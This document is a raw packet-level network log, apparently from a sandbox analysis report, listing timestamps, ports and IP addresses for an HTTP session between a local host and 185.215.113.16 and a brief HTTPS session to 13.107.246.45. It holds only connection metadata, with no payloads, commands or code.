Nov 18, 2024 21:04:09.259650946 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.259666920 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.259671926 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.259689093 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.259695053 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.259723902 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.259723902 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.259830952 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.259845972 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.259860992 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.259876966 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.259891987 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.259895086 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.259895086 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.259907007 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.259922981 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.259938955 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.259944916 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.259944916 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.259954929 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.259968996 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.259993076 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.259993076 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.259996891 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.260013103 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.260027885 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.260029078 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.260045052 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.260051012 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.260060072 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.260061026 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.260099888 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.260099888 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.260160923 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.260175943 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.260194063 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.260215998 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.260231018 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.260231972 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.260231972 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.260245085 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.260260105 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.260272980 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.260272980 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.260277033 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.260291100 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.260304928 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.260304928 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.260305882 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.260322094 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.260335922 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.260345936 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.260345936 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.260351896 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.260369062 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.260382891 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.260396004 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.260396004 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.260400057 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.260413885 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.260431051 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.260442019 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.260442019 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.260449886 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.260487080 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.260487080 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.260504007 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.260544062 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.260746956 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.260761976 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.260776997 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.260792017 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.260799885 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.260808945 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.260823011 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.260834932 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.260849953 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.260849953 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.260864973 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.260876894 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.260876894 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.260880947 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.260895967 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.260905981 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.260905981 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.260910988 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.260926008 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.260936975 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.260936975 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.260940075 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.260955095 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.260961056 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.260972023 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.260987043 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.260996103 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.260996103 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.261003971 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.261018991 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.261033058 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.261035919 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.261049986 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.261058092 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.261065960 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.261080980 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.261090994 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.261090994 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.261097908 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.261112928 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.261130095 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.261142015 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.261142969 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.261145115 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.261162043 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.261269093 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.261353016 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.261368990 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.261383057 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.261398077 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.261399031 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.261411905 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.261414051 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.261428118 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.261444092 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.261460066 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.261465073 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.261466026 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.261476040 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.261481047 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.261496067 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.261512041 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.261512995 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.261528015 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.261544943 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.261559010 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.261559010 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.261559010 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.261575937 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.261591911 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.261595011 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.261595011 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.261641026 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.261641026 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.268877029 CET	443	49795	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:09.268944025 CET	443	49795	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:09.269007921 CET	49795	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:09.269171000 CET	49795	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:09.269171000 CET	49795	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:09.269212961 CET	443	49795	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:09.269238949 CET	443	49795	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:09.269510984 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.269562960 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.269639969 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.269663095 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.269684076 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.269687891 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.269712925 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.269725084 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.269725084 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.269735098 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.269764900 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.269772053 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.269781113 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.269795895 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.269819021 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.269828081 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.269828081 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.269843102 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.269866943 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.269879103 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.269879103 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.269890070 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.269907951 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.269927025 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.269949913 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.269968033 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.269968033 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.269987106 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.270009041 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.270028114 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.270028114 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.270032883 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.270056963 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.270066023 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.270066023 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.270080090 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.270106077 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.270118952 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.270118952 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.270128965 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.270152092 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.270159960 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.270159960 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.270174026 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.270198107 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.270215988 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.270215988 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.270220995 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.270245075 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.270251036 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.270251036 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.270281076 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.270315886 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.270319939 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.270319939 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.270338058 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.270361900 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.270379066 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.270379066 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.270385027 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.270409107 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.270426035 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.270426035 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.270431995 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.270454884 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.270463943 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.270463943 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.270478010 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.270500898 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.270509958 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.270509958 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.270524025 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.270545959 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.270562887 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.270562887 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.270567894 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.270601988 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.270601988 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.270603895 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.270628929 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.270652056 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.270656109 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.270673990 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.270684958 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.270684958 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.270698071 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.270720005 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.270730019 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.270730019 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.270746946 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.270756006 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.270770073 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.270793915 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.270802975 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.270802975 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.270816088 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.270827055 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.270839930 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.270852089 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.270862103 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.270874977 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.270900011 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.270921946 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.270922899 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.270936012 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.270946980 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.270967007 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.270983934 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.270983934 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.271023035 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.271047115 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.271064997 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.271064997 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.271070004 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.271081924 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.271094084 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.271120071 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.271126986 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.271126986 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.271142006 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.271164894 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.271172047 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.271172047 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.271188021 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.271210909 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.271219015 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.271219015 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.271234035 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.271255970 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.271265030 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.271265030 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.271280050 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.271301985 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.271310091 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.271310091 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.271337986 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.271348953 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.271363974 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.271387100 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.271400928 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.271409035 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.271414995 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.271430969 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.271442890 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.271455050 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.271456957 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.271477938 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.271495104 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.271495104 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.271500111 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.271522999 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.271538973 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.271538973 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.271559954 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.271570921 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.271583080 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.271605968 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.271615028 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.271615028 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.271630049 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.271646023 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.271652937 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.271687984 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.271687984 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.271688938 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.271708965 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.271730900 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.271737099 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.271744013 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.271758080 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.271780014 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.271790028 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.271790028 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.271802902 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.271826029 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.271836996 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.271836996 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.271848917 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.271862984 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.271872044 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.271895885 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.271897078 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.271908998 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.271919012 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.271930933 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.271945000 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.271961927 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.271967888 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.271997929 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.272000074 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.272010088 CET	49786	80	192.168.2.4	185.215.113.16
